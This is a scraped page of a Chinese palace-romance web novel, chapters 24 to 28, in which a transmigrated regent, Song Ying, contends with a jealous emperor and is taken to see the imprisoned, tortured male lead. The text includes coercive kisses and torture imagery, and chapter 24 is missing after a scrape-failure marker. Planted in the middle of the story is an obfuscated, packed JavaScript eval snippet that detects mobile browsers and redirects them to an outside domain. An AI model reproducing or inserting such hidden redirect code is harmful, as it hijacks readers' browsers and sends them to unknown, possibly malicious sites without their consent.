宋迎便退一步。 “那你方才与他眉目相交相视而笑!心中所想……也是‘本分’二字?” 永昭帝步步逼近,几乎是咬牙切齿。 步履交错,直至腰抵凭栏,宋迎双手下意识地撑在栏上,稳住身形。 她什么时候和人家相视一笑了? 宋迎愣了愣,不过是念在同乡之谊,才在朝上出言襄助。仅此而已。 这都能被恶意曲解? 他脑子里到底在想什么? 这跟你每天去隔壁部门赔笑脸,只为工作效率更高一点,老板却觉得你不务正业,打算扣你工资有什么区别? 宋迎的错愕茫然,全然被永昭帝当成了戳穿心事之后,欲盖弥彰的惊慌羞恼。 “无话可说了?”他五指猛然收紧,纱布上,血色迅速洇开,衬得眼底愈发狰狞。 他欺身而下,靴尖抵住她的,长臂一揽,便将她整个人都拽进了怀里。 宋迎猝不及防,腰线被他勒得生疼,被迫向后仰去。 “昨夜为他伤心落泪,今日为他在朝堂与朕针锋相对,方才还与他眉目传情……现在,你跟朕讲‘本分’?” “宋迎!” 压抑了一整夜嫉妒愤怒,夹杂着他自己都没有察觉到的委屈,在此刻喷涌而出。 宋迎被他勒得倒抽一口凉气,腰几乎要断了。 ——事实证明,人在极度愤怒的时候,记忆会欺骗你。 她昨夜,什么时候,为他伤、心、落、泪? 她今天,什么时候,跟他唱、反、调、了? 狗皇帝…… 傻缺吧这是。 宋迎眸光闪了闪,她醍醐灌顶。 不是因为她功高盖主。 不是因为他疑心病重。 而是因为—— 这个狗皇帝,以为她和盛向明有什么?! 她辛辛苦苦熬夜批阅奏折,费尽心力稳固朝堂。 结果他醒来,不问国事,不思民生,脑子里想的居然是这种……这种事?! 哈? 狗皇帝,脑子里装的是陈年老醋吧! 宋迎忽然就不气了。 甚至还有点想笑。 诶嘿—— 那这事儿,可就有得玩了。 宋迎一想到接下来要说的话,长睫不受控制地颤了颤。 那双眼眸,瞬间染上一层恍然大悟。 她的手,试探着攀上永昭帝胸膛。 掌心下,是他失控乱跳的心脏。 安抚似的触碰,怒气真就平息了些许。 但箍着腰的力道依旧没松,只是随着宋迎攀上的掌心,指腹不住地摩挲着腰间的云纹刺绣。 宋迎借力直起身,寻了舒服姿势后,便毫不留恋地撤回了手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013764|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永昭帝眸底刚燃起的一点微光,瞬时黯了下去。 “原来陛下是介怀此事。” 宋迎早就知道狗皇帝会派人监视她,那昨日她去暖阁的事,他肯定也知道。 只是那暖阁高悬,风雪交加,除非他派去的暗卫是长了顺风耳的千里眼,否则是不可能知道她与盛向明究竟谈了什么的。 “是臣疏忽了。”宋迎诚恳道,“与朝臣私下议事,本该先向陛下报备,是臣逾矩。” 永昭帝的脸色又黑沉了三分。 议事?逾矩? 她当他是三岁稚子,听不懂她话里的避重就轻吗! 他捏紧她的腰,顺势将她整个人按向自己。 腰际相抵,心跳相闻。 永昭帝倾身向前,咬牙道:“你——” “不过,”宋迎却抢在他发作前,截断了他的话。 她微微偏头,仿佛真的在回忆。 “说起来,盛大人的确是位妙人。” 永昭帝周身气压瞬间降至冰点。 宋迎像是毫无所觉,继续往火上浇着油。 “他为人耿直,谈吐亦十分风趣,更难得的是,他知晓许多辽州旧事,连臣都未曾听过。” 她说到这里,忽而一顿,缓缓抬眸,对上那双充血凤眼,勾唇笑道:“臣与他,当真是……相见恨晚。” 相、见、恨、晚? 这四个字,瞬间被吞进急剧收缩的瞳孔里。 力道倏然一松,是震惊下的失神。 下一瞬,却是报复性的收紧,指骨嵌入腰身,碾在那处。 这家伙……好像不是在装。 是真的要气疯了。 宋迎疼得直皱眉。 罢了,虎须捋得差不多了,再捋下去,怕是真的要被咬死了。 鼻尖轻轻蹭着胸膛。 她抬起手,没去对抗那份禁锢,而是沿着他的指节,一点点覆上他手背。 永昭帝呼吸一窒。 那只手温润柔软,不带半分寒意,亦无半分滚烫,可是—— 贴上来的时候,却惹得他浑身战栗。 宋迎这才仰起脸,乌黑眸子摄人心魄。 而后,她目光缓缓下移,落在颤抖的喉结上。 委屈道:“陛下,您弄疼我了。” 24-30 第24章 第24章鼻息喷得宋迎耳朵发痒。…… <-爬取失败,暂未购买-> 第25章 第25章他,在关键时刻,刹车了…… 那不像一个吻。 那称不上是一个吻。 一触即分,没有半分旖旎,更无一丝缠绵。 快得像场错觉。 宋迎还未站稳,便已抽身而退。 就像是在完成任务。 她毫不犹豫地后退两步,重新拉开君臣距离。 袍角委地,宋迎复又跪地。 她俯首道:“臣,谢陛下恩典。” 永昭帝的手还僵在半空,指腹上还残留着脸颊温软,唇上还印着方才温热。 他喉结滚动,看着跪地叩首的宋迎,竟一时失语。 他预想过她的反应。 或许是惊慌失措,或许是羞愤欲绝,又或许是故作姿态的迎合。 却唯独没有想到,她是如此平静的、坦然的臣服。 一瞬的快感又被刺痛。 心口像是被剜去了一块,留下个空洞,叫嚣着让他攫取更多、更多…… 可宋迎,已然行礼告退。 她背脊挺得笔直,步伐沉稳。 直到那抹绀黄身影,彻底消失在殿门尽头,永昭帝才如梦初醒,抬起手,用沾染过她温度的指腹,轻轻碰了碰自己的嘴唇。 御案上,朱红印泥还未干透,与墨香交织,散发出一股腥味。 一切,都还历历在目。 他让她走近,让她坐上他的腿,握着她的手腕…… 他最初的目的十分清晰—— 试探她,掌控她,将这枚棋子牢牢攥在手心。 高党既然往他身边安插眼线,他不如用宋迎,去搅混那潭脏水。 后来,当他发现她与燕党似有牵扯,那目的便变得更恶劣了些。 他要羞辱她,要将她捧上云端,再让她登高跌重,要欣赏她被碾碎自尊时,那双清冷眼眸里泄出的……恐惧与屈服。 但—— 方才,唇真的覆上来,他才惊觉,自己,才是那个彻底失控的人。 他从未预料到! 或者说,他从未预料到宋迎竟敢主动应对! 平静无波的主动。 像是嘲讽。 似乎每一次,她都能精准预判他,甚至反客为主,以他为棋。 她……什么都知道。 后知后觉的恼怒窜上心头,烧得他呼吸都泛起刺痛。 在她眼中,自己是不是……很可笑? 是不是让她觉得既可怜,又可悲? 思绪沸乱。 永昭帝还是第一次尝到,心跳失序的滋味。 不是因为五感六识,仅仅是因为一个人。 尽管他无比抗拒,却不得不承认—— 此时此刻的宋迎,再也不是一个物件,不是一枚棋子,更不是一把刀。 她是活生生的人。 一个……他看不透、握不住的人。 恐惧攀上。 他不知道是从何时开始,自己会去揣测宋迎的想法。 允她尊荣,是想看她将那些曾经轻贱她的人,如何踩在脚下。 予她权力,是想让她站得更高,高到她的世界里,只能看见他一人,生杀予夺,都摆脱不掉他的影子! 他以为这是掌控,是恩赐。 但—— 他骗不了自己。 失控的亲近,何其危险! 脱轨的沉溺,又何其致命! “不。” 永昭帝低声吐出这个字,像是要说服自己。 “她,需要怕我。” 他在心 底一遍遍念着,“她……必须怕我。” 他要立刻、马上,用更绝对的君威,重新在他们之间划下那道距离! 她妄想脱离他的掌心! 她妄想……脱离他的掌控! 但—— 他却不知道,他也在害怕。 他怕的,是自己再一次的失控。 他怕的,是自己再对她生出半分不该有的悸动。 他叫嚣着让她远离,本质上,不过是想让自己,远离那个即将沉沦的自己。 这一夜,龙榻之上,又涨了几分。 再无安眠。 * 每日任务(1/1) 回了偏殿,宋迎有种如释重负的感觉。 屈辱吗? 那倒不至于。 只是宋迎第一次干这种事,心里多少有些紧张。 还有点……莫名的刺激感,还夹杂了“冒犯天子”之后不可告人的兴奋感。 可惜,她的技术储备,也就只允许她蜻蜓点水这么一下了。 想她上下两辈子加起来,母单三十年,理论知识储备丰富,实践经历却堪堪为零。 本来,她还担心永昭帝让她“每日渡药”,是不是趁机占她便宜; 今天会不会情不自禁地……不让她走。 现在看来,是她想多了。 他真的只是把她当成一剂……行走的稳定剂。 那些亲昵的举动也是,单纯地为了安抚五感。 但宋迎又不免担心起来—— 这需求,似乎在不断升级啊。 最开始,只是凑近闻闻味儿就行。 现在,已经进化到需要亲亲才能安抚了! 照这个趋势发展下去,下一步的展开……已经显而易见,并且板上钉钉了啊! 宋迎不想突破最后那道防线。 倒不是有什么贞洁牌坊要守,她只是朴素地认为,这种亲密无间的事,得两情相悦的人做。 退一万步讲,起码也得是感情到位、气氛到位,捅破窗户纸的临门一脚吧? 虽然,现在还不能确定,日后会不会发展到那一步。 但未雨绸缪不是坏事,宋迎势必要做好最坏的打算。 不过,宋迎向来看得开。 自从穿越过来,她就知道自己免不了婚嫁这一遭。 爹娘宠她,才让她逍遥到了现在。 所以,万一,她只是说万一—— 如果真到了万不得已的时候,为了保命,要跟狗皇帝一起大锅炒菜…… 宋迎摸了摸下巴,表情严肃,开始复盘,进行“可行性评估”。 嗯……首先,从硬件条件来看—— 狗皇帝的脸、身材、声音,都属于顶配级别,不亏。 其次……狗皇帝吻技还行。 一开始,虽然有些鲁莽,但他学习能力惊人,领悟力极强,到最后,说句“渐入佳境”都不为过。 宋迎回想起当时的情景,自己被他圈在怀里,亲得浑身发软,荷尔蒙上头…… 要不是最后他自己停下了,后续会发生什么……还真不好说。 咦? 宋迎头顶冒出一个大大的问号。 他,为什么在关键时刻,自己刹车了? 该不会……狗皇帝他……是个纯情少男吧?! 宋迎瞬间捕捉到了这个惊天大瓜的蛛丝马迹。 她还以为,帝王之家会像小说里写的那样,早早安排什么启蒙宫女、通房丫鬟一条龙服务呢。 搞了半天,这位九五之尊,竟然是理论知识与实践经验双双为零的……小白? 宋迎觉得自己发现了惊天大华点。 心里那点前路未卜的忐忑,瞬间转变成反客为主的小心思。 那点旖旎的心思,勾起了记忆—— 脑海里,不受控制地浮现出那紧实的胸膛,触感极佳,掌心下是蓬勃力量…… 脸颊微微发烫,她又走到镜前,张开双臂。 她瞧了瞧,镜中被金镶玉革带勒出的蜂腰。 身段窈窕,曲线玲珑。 她自己条件也不差啊!发育良好! 但,要是狗皇帝是处—— 那也不划算啊,她也是第一次呢! 不行不行,想来想去,宋迎还是摇了摇头。 现在她才十七,要是三十七还成。 以咱这个条件,就算是二十七,也是她血亏! …… 越想越不划算,宋迎陷入了苦恼。 哎,算了。 事已至此,先吃饭吧。 万一哪天,真被噶了,好歹也是个饱死鬼。 第26章 第26章水光,竟比春色还要夺目…… 永昭帝一日未眠,眼下虽有淡淡青影,但精神却处在紧绷后的亢奋中。 他比往日更早地坐在了御案前。 他在等宋迎。 他要拨乱反正。 终于,永昭帝听见了一串由远及近的脚步声。 那步子……格外轻快,带着几分雀跃的、一蹦一跳的韵律。 她的心情似乎很好? 欢快碎步声在殿门前戛然而止。 一息、两息、三息…… 她在外面磨蹭什么?为什么还不上前复命! 永昭帝耐心告罄。 朱笔被他重重砸在笔山上。 殿门终于应声开启。 宋迎逆光而入,“臣,参见陛下。” “免了,”永昭帝透着沙哑寒意,抬手一指,“就站在那儿回话。” 往日里,宋迎都是被允准立于御案之侧,为他研墨铺纸。 宋迎长睫轻轻一颤,敛去讶异。 狗皇帝什么情况? 她依言退后几步,垂手而立。 “昨日户部呈上的秋税核算,”永昭帝不再看她,开门见山道,“你看过了?” “回陛下,臣已看过。” “看过了,就没什么想说的?”永昭帝将奏折扔在案上,语调骤然下沉,“江南两道税收,比去年少了近三成,户部的说法是水患所致。” 他缓缓抬起眼,目光锁定,“朕想听听,你的看法。” 宋迎:? 昨天还只是试探着放权,今日就真的将朝堂之事摆上了台面。 心念电转,瞬间了然。 宋迎思忖着如何应对,却不知,她这副垂眸沉思的模样,尽数落入了上首眼中。 永昭帝本该用迫人眼神,逼她无所遁形。 可那目光,却不听使唤地软了下来,黏在她微微抿起的唇上。 唇形饱满,色泽淡雅,像是初绽的桃花花瓣。 记忆又不受控制地烫回脑海。 他记得那柔软触感,记得是如何撬开贝齿,尝到湿润里的惊人甜意。 那缕甜意萦绕舌尖,让他口中控制不住地开始生津。 永昭帝喉结微滚,咽下大股唾液。 滑动弧度在颈间清晰得狼狈。 他强迫自己移开视线,重新聚焦在面前政事上。 宋迎结束了思考,抬眸回话道: “回陛下,江南水患确是其一,但税收锐减三成,恐非天灾一力能为。臣以为,其中必有地方官吏或有瞒报、侵吞之嫌,当遣钦差详查。” 永昭帝在听着。 她声音明明近在咫尺,却又仿佛隔着水幕,变得遥远而模糊。 永昭帝的全部心神,又被牢牢定在了她说话时微微翕动的唇上。 唇瓣开合间,淡粉软舌抵着贝齿,吐出字字句句。 那不经意间闪过的水光,比春色还要夺目。 方才还满口生津的喉咙,此刻骤然干涸,烧得阵阵发紧。 宋迎见他许久不说话,以为是要她举荐贤能,逐步瓦解高党势力。 她沉吟片刻,报上一个名字: “臣举荐,工部盛向明,可当此重任。” 盛向明是谁,永昭没反应过来。 他脑中盘桓的,依旧是柔软嫣红,如何辗转,如何厮磨,又是如何…… 不对。 永昭帝猛地回神,像被冷水浇头。 他在想什么?! 堂堂九五之尊,手握乾坤,竟在议政之时,肖想起这等荒唐淫靡! 他下意识地抬眼,对上宋迎的双眸。 她方才……可有察觉他的失神? 是否已看穿了他冠冕堂皇的表象下,那些汹涌而不堪的欲念? 燥热混杂着羞恼,轰然直冲天灵盖。 永昭帝的面色沉了下去。 宋迎见他脸色阴晴不定,偏偏又一言不发,心中疑惑 不散反浓。 是盛向明这个人选有问题吗? 不应该啊。 此人是朝中难得的清流,既有能力,又无党派背景。 还是……别的什么? 她试探着唤了一声:“陛下?” 这声轻唤,刺到了永昭帝的紧绷神经。 他条件反射一般,想要维持着君王威严,掩饰失态。 “你说,遣盛向明去?”他重复了一遍,目光却并未落在宋迎身上,而是盯着她身侧地面,仿佛那里有什么治国安邦的锦囊妙计。 “是,”宋迎以为他终于回到了正题上,心中微松。 “盛大人乃两榜进士,对水利、算学皆有涉猎,为人刚正不阿,与江南官场素无瓜葛。” “由他前往,既能查清水患实情,又能核算税收账目,最是合适。” 宋迎侃侃而谈,逻辑分明。 ——当初伴驾上朝,她可不是站在那里当一尊好看的摆设。 其他懂得不多,用人之道,她还是能分辨的出。 如今,为永昭帝铲除异己是真,但若能让百姓从中受益,一举两得,又何乐而不为呢。 然而,她越是如此公事公办,永昭帝心中的火就烧得越旺。 心中郁结非但没有解开,反而拧成了一个死疙瘩。 他要拨乱反正。 拨的,是她僭越的举动。 反的,是他失控的心思。 可笑的是,如今她规规矩矩地站在三丈之外,谈的是国之大计,荐的是国之栋梁,没有半分逾矩。 反倒是他,像个欲求不满的毛头小子,满脑子都是风月。 “呵。” 永昭帝唇边溢出一声嗤笑。 宋迎的侃侃而谈,戛然而止。 她终于确定,今日的永昭帝,是真的不对劲。 宋迎抬眸,恰好对上永昭帝沉下来的视线。 是他对盛向明这个人选不满? 还是…… 现在就要亲亲安抚了??? 宋迎心中念头飞转。 她瞥了眼自己和上首龙椅之间的距离—— 不行,狗皇帝只允许让她站在这,不让她近身。 宋迎正欲开口再探。 殿内深处,突然传来一声沉肃的通报,似是来自房梁之上。 “启禀陛下。” 是隐卫! 隐卫直接求见于万春殿,必是涉及机密且棘手大事。 那声音只响了一声便沉了下去,显然是察觉殿中还有旁人,在等待皇帝的示下。 自从高伯深的眼线被从隐卫中拔除,留下的都是永昭帝真正的心腹。 “臣先行告退。”宋迎福身行礼,识趣转身。 隐卫所奏之事,不是她该听的。 步子还没迈开,身后便传来永昭帝冷硬声线。 “不必了。” 宋迎背脊一僵。 她缓缓回身,满是不解。 “就站那儿,听着。” 这话听着是恩宠,可那不容置喙的威压,却让宋迎脑中惊疑更甚。 他想干什么? 不等她想明白,一道黑影已然滑入殿中。 单膝跪地道:“启禀陛下,那个男人嘴硬得很,即便用了重刑,也不肯吐露同党名册。” 男人…… 宋迎的眼睫微不可察地颤了颤。 ……男主被抓了?! 永昭帝没有错过她这一瞬间的失态。 隐卫的话,和宋迎的反应,第一时间让他回过了神。 永昭帝手臂一软,靠在龙椅上,慵懒道: “宋迎,被捕之人便是那日闯入宫中的燕贼,你可有印象?” 宋迎眨了眨眼,强迫自己冷静下来:“……臣,没有印象。” 来了。 她明白了! 这才是他反常的真正原因! ——从让她站在三丈之外,到驳斥她的举荐,再到强留她在此处听秘闻,原来都是为了此刻的发难。 他在试探她。 试探她与燕党的关系。 “回陛下,当初臣与那位‘姐姐’相识于选秀不假,后因她允诺能接臣出宫回家,臣思乡心切,才一时糊涂。” “至于男人……臣从未见过什么男人。” 宋迎坚持之前的口供。 她记得,原书剧情里是有这么一段。 男主被擒,大反派以此为诱饵,迫使黎婧容出面相救。 然后……然后就是男女主见面,天雷勾地火,直接上演限制级剧情。 而作为工具人的大反派,则亲眼目睹这场活/春/宫,深受刺激,绝望自戕。 …… 每每想到这种强制剧情杀,宋迎都忍不住翻白眼。 这作者的XP,真是清奇。 一切为了独特XP和酱酱酿酿服务。 一篇限制文,这下男女主不见面,只能写写一个人玩乐。 索性篇幅不长,这些为了两人重逢的重头戏做得铺垫。 但—— 书里的时间线是模糊的。 现实中要过多久,宋迎就记不清楚了。 更重要的是,剧情,已经歪了啊! 从永昭帝念错台词开始,到本该中毒体虚的他,变成了大开杀戒的暴君…… 他还会像书里那样,因为这点刺激就“绝望自戕”吗? 还是说,会以一种她完全无法预料的方式,变得更加……疯狂? 上个世界,她之所以被抹杀穿越,是因为她意外知晓了自己的炮灰身份。 那这个世界呢? 因为看过小说,所以她从始至终都很清醒地知道自己是个炮灰。 那为什么……世界规则没有抹杀她? 是BUG?还是……这个世界有新的玩法? 霎时间,诸多疑惑萦绕心头。 宋迎不自觉地拧紧了眉心。 她兀自沉浸在自己的思绪里,丝毫没有察觉,高大身影已然悄无声息地,行至她身前。 “不认得?” 气息拂过她发顶。 她一抬头,便对上永昭帝那张冷若冰霜的脸。 他居高临下地看着她,勾唇笑道:“那不如,朕带你一同去见见他?” 第27章 第27章饱满而不堪。 从辉煌明亮,到幽深寂静。 光线被寸寸剥离,空气里浮动着阴冷潮湿的霉味与血腥味。 永昭帝刻意放缓了脚步。 他走在前面,听着身后传来的脚步声。 不疾不徐,沉静平稳。 很好。 她开始怕了。 本该如此。 他要让她看清,身为燕贼,究竟是何等下场, 他要让她明白,她往后唯一的生路是他,唯一的倚杖还是他。 永昭帝的唇角散开一抹笑意。 他掌控着她的命运, 而她,只需在他脚下,仰望、颤抖、与臣服。 火把在潮湿石壁上投下摇曳光影,将两人影子拉得忽长忽短,纠缠不清。 他用余光去瞥,身后那道纤细始终垂着眼,却安静得过分。 永昭帝步子慢了下来。 她哭了? 念头一闪,心底生出几分快意。 地牢阴森,哭也属人之常情。 若她实在怕得厉害…… 他不介意施舍几分安抚。 他终于停步,身后那抹气息也随之停驻,隔着三五步,不远不近,恭谨得令人心烦。 永昭帝缓缓转过身,“抬起头来。” 宋迎依言抬首。 火光映亮了她的脸,那双杏圆眸子,没有他意料中的惊惶,反倒像两颗浸在清泉里的宝石,于摇曳光火下,折射出水盈盈的光。 ……啧。 永昭帝那点志得意满,突然泄出一丝难以言喻的烦躁。 他紧了紧垂在身侧的手,不再多话,冷着脸,转身拂袖前行。 行至深处,狱卒的叩拜声此起彼伏: “参见陛下!” 空洞回音在地牢里冲撞、盘旋。 永昭帝步子迈得更快了。 他径直走向最深处的牢房,腥腐臭气扑面而来,呛得宋迎猝不及防,掩着袖子咳了好几声。 “打开。” 永昭帝冷声下令。 牢门被缓缓拉开,混着血腥、汗臭、铁锈和腐烂皮肉的气味,咆哮着冲出。 咳嗽缓了缓气体冲击,胃里酸水又泛了上来。 宋迎还是捂住了 口鼻。 火把的光,探入那片黑暗。 光线所及之处,先是映出一条粗重铁链,自墙角延伸而出,没入一团人影里。 那人影似乎被光惊动,蜷缩的身体颤了颤,牵动铁链发出一阵刺耳的哗啦声。 随着狱卒将火把插到石壁的火托上,那团人影的全貌,终于毫无遮拦地闯入宋迎瞳孔深处。 那是原书男主—— 怀玉泽。 他琵琶骨被两条铁链贯穿,锁在墙上,高大身躯被迫维持着狼狈姿态。 身上囚衣早成了破烂布条,血污凝成暗褐色硬块,黏在绽开的皮肉上。 可即便如此,也遮不住那异常宽阔肩骨,和高高贲起的胸肌。 他似乎在昏沉中挣扎了下,无意识地蜷了蜷身体。 就是这一下。 腰腹之下,本就褴褛的衣衫下摆,彻底滑开了。 堪堪敞开一道口子,让宋迎视线不受控制地,向下移了移。 她瞥见了。 瞥见了那处最脆弱的所在。 ——饱满而不堪。 宋迎有些茫然地眨了眨眼。 足足过了一秒,才意识到自己看到了什么。 她脸颊一热,慌忙错开了视线。 不愧是限制文男主角。 这边宋迎正低头评价着。 殊不知,永昭帝的视线,从始至终,都死死攫着她。 他看见了。 他看见她的目光,是如何在那罪囚的身体上流连、描摹。 他看见她的瞳孔,是如何微微放大。 他看见她的脸颊,是如何爬上可疑薄红! 她全都看到了! 他带她来这里,是要让她看清背叛者的下场,是要让她恐惧,让她明白—— 她的荣辱生死,全都系于他一人之手! 结果—— 她非但没半分惧色,反而对着一个阶下囚,露出了那种……惊艳的眼神! 一股暴戾的、想要将眼前一切都撕碎的冲动,激得他太阳穴突突直跳。 “你们!” 永昭帝的声音从齿缝中挤出,“谁准他在此衣衫不整的!” 帝王之怒激起阵阵回响,令人胆寒不已。 狱卒们吓得魂飞魄散,连滚带爬地扑上前,慌乱中才发现没有多余的囚衣。 为首的狱卒心一横,脱下自己外袍,胡乱地盖在了犯人身上。 这番粗暴的拉扯,终于惊动了昏迷中的男人。 怀玉泽喉间溢出一声闷哼,身体颤了一下。 黏在眼睫上的血痂,被他强行挣开,视野先是模糊血色。 随即,跳跃火光刺入眼底。 他花了好几息的功夫,才将眼前晃动的人影聚焦。 意识尚未回笼,但那身独一无二的明黄,却硬生生烫进了他视野深处。 他循着那抹颜色望过去,混沌的思绪被瞬间劈开。 “你……” 他试图撑起身体,“你中了……枯心蛊,怎么可能……还活着?!” 这就是原书剧情里,大反派中的毒? 宋迎的视线,惊疑不定地在两人之间来回逡巡。 怀玉泽一下子惊醒,像是忘了自己身体中的铁链,疯了一般,挣扎着要扑向永昭帝。 铁链被他拽得哗哗作响,绷成一条直线。 “啊——!” 他发出一声撕心裂肺的怒吼。 永昭帝闲庭信步般,踏入牢门。 他停在怀玉泽身前,比眼前这个男人,还要高出半个头。 “朕还以为,剑云宗这等名门正派,只会些君子剑法。”他垂眸,“没想到,也会用这种……下三滥的手段。” “江湖门派不问朝堂——” 永昭帝讥笑出声,“若是让武林同道知晓,堂堂剑云宗少主,竟与前朝逆党牵扯不清,不知道作何感想?” 怀玉泽猛地一震,眼中迸出滔天恨意。 “一人做事一人当!与我宗门无关!” “这么说,”永昭帝的笑声落在怀玉泽耳中格外刺耳,“你真是为了前朝?呵,真是一条……忠心耿耿的好狗。” 他话锋一转,声音陡然转冷: “可朕记得,这蛊毒秘术,向来只传前朝皇族血脉。” “你是燕国人?” 永昭帝逼视着他。 怀玉泽呼吸一窒,脑中闪过容儿的脸。 他闭了闭眼,再睁开时,已是一片决然:“是又如何!” “很好,”永昭帝微微俯身,凑到怀玉泽耳边,“可朕怎么听说……前朝留下的唯一血脉,是个女儿家?” 怀玉泽的瞳孔骤然猛缩。 永昭帝直起身,欣赏着他瞬间煞白的面色。 “她叫——” “黎、婧、容。” 那三个字,贯入怀玉泽耳膜。 身体控制不住地颤抖起来,他拼了命地想往前冲,铁链深陷皮肉,刚刚凝固的伤口瞬间迸裂,鲜血顺着他的四肢蜿蜒而下。 永昭帝就这么负手立着,像戏耍老鼠的猫,眼神里盛满了残忍的笑意。 电光火石间,怀玉泽视线终于清明。 他越过眼前高大身影,望向永昭帝身后—— 宋迎一身绀黄朝服,华贵异常,在昏暗之下,依旧流转着刺眼华光。 这是仅次于帝王明黄的尊贵之色! 是皇亲国戚,是心腹宠臣,才能享有的无上荣宠! 她……她是狗皇帝的人! “叛徒!” 怀玉泽瞪着宋迎,目眦欲裂,“早知如此,当初就该一剑了结了你!” 他用尽全身力气咆哮出声: “要不是为了救你,容儿她……岂会以身犯险!” “狼心狗肺的东西!你对得起容儿吗?!” 宋迎整个人都僵住了。 黎婧容不是去……刺杀狗皇帝的吗? 她一直以为,黎婧容那天晚上出现在万春殿,目标是刺杀永昭帝。 没想到—— 居然,是为了救她? 她和黎婧容的关系,好像没有熟到可以舍命相救的地步吧!? 永昭帝看着宋迎那张写满震惊的脸,心中那股被压抑下去的烦躁,又一次,翻涌了上来。 他不喜欢她这副样子。 他不喜欢,她因为另一个男人的话,就露出他看不懂的表情! “宋迎,” 他喊了她的名字,继而缓缓伸出手,指腹蹭过她脸颊。 然后,冷声下令: “跪下。” 第28章 第28章这狗皇帝是不是喜欢上她…… 宋迎愣了一瞬。 没有犹豫,也不敢有犹豫。 求生本能压垮了所有想法。 她膝盖一软,跪了下去。 痛感瞬间窜遍全身,袍角在积着污水的地面上铺开,像被强行摁入泥淖的连翘,瞬间沾染了污秽。 永昭帝睨着她,眼底暴戾烧得更旺了。 太乖了。 乖得让他生厌。 之前那股子口齿伶俐劲儿去哪了? 他要的是她颤抖着、哭泣着、恐惧着。 在他掌心匍匐,最终别无选择,只能依附于他。 而不是像现在这样—— 被人大骂之后,一声不吭的样子。 永昭帝悬在半空的手,五指根根收拢,紧握成拳。 “看来,人家肯舍命救你,你们关系匪浅啊?” 宋迎的身体一僵。 这细微的颤抖,瞬间取悦了永昭帝。 永昭帝唇角缓缓勾起一抹笑意,正欲开口,却被身后一声更为凄厉的怒吼打断。 “宋迎!你这个忘恩负义的白眼狼!容儿真心待你,你怎能——” “聒噪。” 实在是太吵了,永昭帝没回头,反手随意一挥。 一道凌厉掌风破空而去,怀玉泽咒骂戛然而止,只听“哐当”一响,铁链重重砸在石壁上,再无声息。 终于清静了。 他蹲下身,指骨捏上宋迎下颌,强迫她抬起头。 那双漂亮的杏眼里,终于不再是平静的死水,而是漾起了惊惶的涟漪。 这才是他想要看到的。 那个男人算什么东西?也配来质问她的忠诚? 她的忠诚,她的背叛,她的一切,都该由他来定义! 无名燥火自心底腾起。 永昭帝猛地低下头,狠狠咬上 了两瓣翕动的唇。 宋迎刚要出口的辩解,被悉数吞没。 唇瓣被吮吸得生疼。 瞳孔骤然放大,眼角余光里,几个狱卒的目光爬上了她的后背,粘腻得激起阵阵战栗。 羞耻化作涨潮海浪,将她尊严掀翻在地。 永昭帝察觉到了她的分心,扣在她后颈的大手骤然收紧。 宋迎被迫,更深地仰起头。 地牢里腐臭气体实在是太难闻了,她一直在拼命屏住呼吸。 可是,随着舌尖侵入、涤荡、占据了她的全部感官。 那味道蛮横地驱散了所有腐朽,将她的世界,暂时变成了只属于他的气息。 好奇怪。 方才那足以将人逼疯的惊惶与屈辱,竟被这更强烈的、更具侵略性的感官刺激所覆盖。 像是被海浪卷走的人,抓住了飘来的一截浮木,趴在上面,本能地汲取着氧气。 狗皇帝到底什么意思? 宋迎攥住了垂在身侧的双手,指甲掐入掌心,任由浪涛将她抛上抛下。 不知过了多久,永昭帝终于松开了她。 他看着她被蹂躏得水光潋滟的唇,眼中暴戾渐渐平息,升起几分餍足感。 他缓缓直起身,居高临下地欣赏着宋迎脸上的茫然。 “看好他,”他冷冷对狱卒下令,“别让他死了,朕还要慢慢玩。” 而后,他对着宋迎说道: “起来。” 宋迎撑着地面,想要起身。 可方才那一跪,跪的太久,加上精神紧绷,她双腿麻得不听使唤。 她试了一下,身体却晃了晃,险些摔回去。 头顶传来一声轻嗤。 “啧。” 那声不耐抽了宋迎一下。 她咬紧牙关,强撑着打算再试一把。 然而,眼前光影却猛地一变—— 帝王弯下腰,手臂穿过她膝弯,另一只手臂牢牢扣住背脊,竟一把将她打横抱了起来! 天旋地转。 姿态算不上温柔,甚至有些粗暴。 可他紧实有力的小臂肌肉,稳稳地托住了她,一点也没有把她弄疼。 永昭帝抱着她,步子一迈,向外走去。 宋迎脑子彻底宕机了。 她大气也不敢出,企图将自己缩成一个鹌鹑。 宋迎:…………等等。 他打心眼里认定她和燕党有关,继续让她做摄政王??? 还有,这个姿势……这个走向…… 日。 哦。 这狗皇帝是不是喜欢上她了???? 这个惊悚程度,比地牢里关着一百个怀玉泽加起来还要炸裂! 出了地牢,午后微斜的阳光毫无防备地刺来。 宋迎不适地眯起眼,头又往他怀里缩了缩。 啥东西啊!! 心里小人上蹿下跳,疯狂绕着跑圈呐喊。 一路行来,宫人纷纷垂首跪地。 宋迎以为他会把她扔回偏殿。 没想到,他竟一路把她抱回了万春殿。 “砰” 宋迎被扔在了软榻上。 她被颠得哼了一声。 但触手所及,便是软榻铺着的狐裘,软得能将人陷进去,倒也没摔疼。 永昭帝解下大氅,随手扔在了地上。 而后,他踱步到御案前,手指屈起,在桌案上叩了两下。 他眼神直直看向宋迎。 “你既是朕亲封的摄政王,”他拿起一叠奏折,扔到她面前的矮几上,“这些,就由你来处置。” 宋迎:………… 刚刚冒头的那点粉红泡泡,瞬间被砸得粉碎。 她挣扎着起身,看着眼前堆积如山的奏折,头皮一阵发麻。 永昭帝却没给她缓冲时间,直接开始了他的高压教学。 指尖隔空点了点离宋迎最近的那本,“翻开,户部尚书的折子,河道督造款项……” 接下来的一个时辰,成了宋迎穿越以来最难熬的时光。 永昭帝,无疑是全天下最严苛、最没有耐心的导师。 她但凡迟疑三息,永昭帝便会冷嗤出声; 她但凡理解错漏一处,永昭帝便会极尽刻薄。 “朕的耐心有限,宋迎。” “笔尖千钧,关乎黎民生死。你一个错漏,便是万千枯骨!” 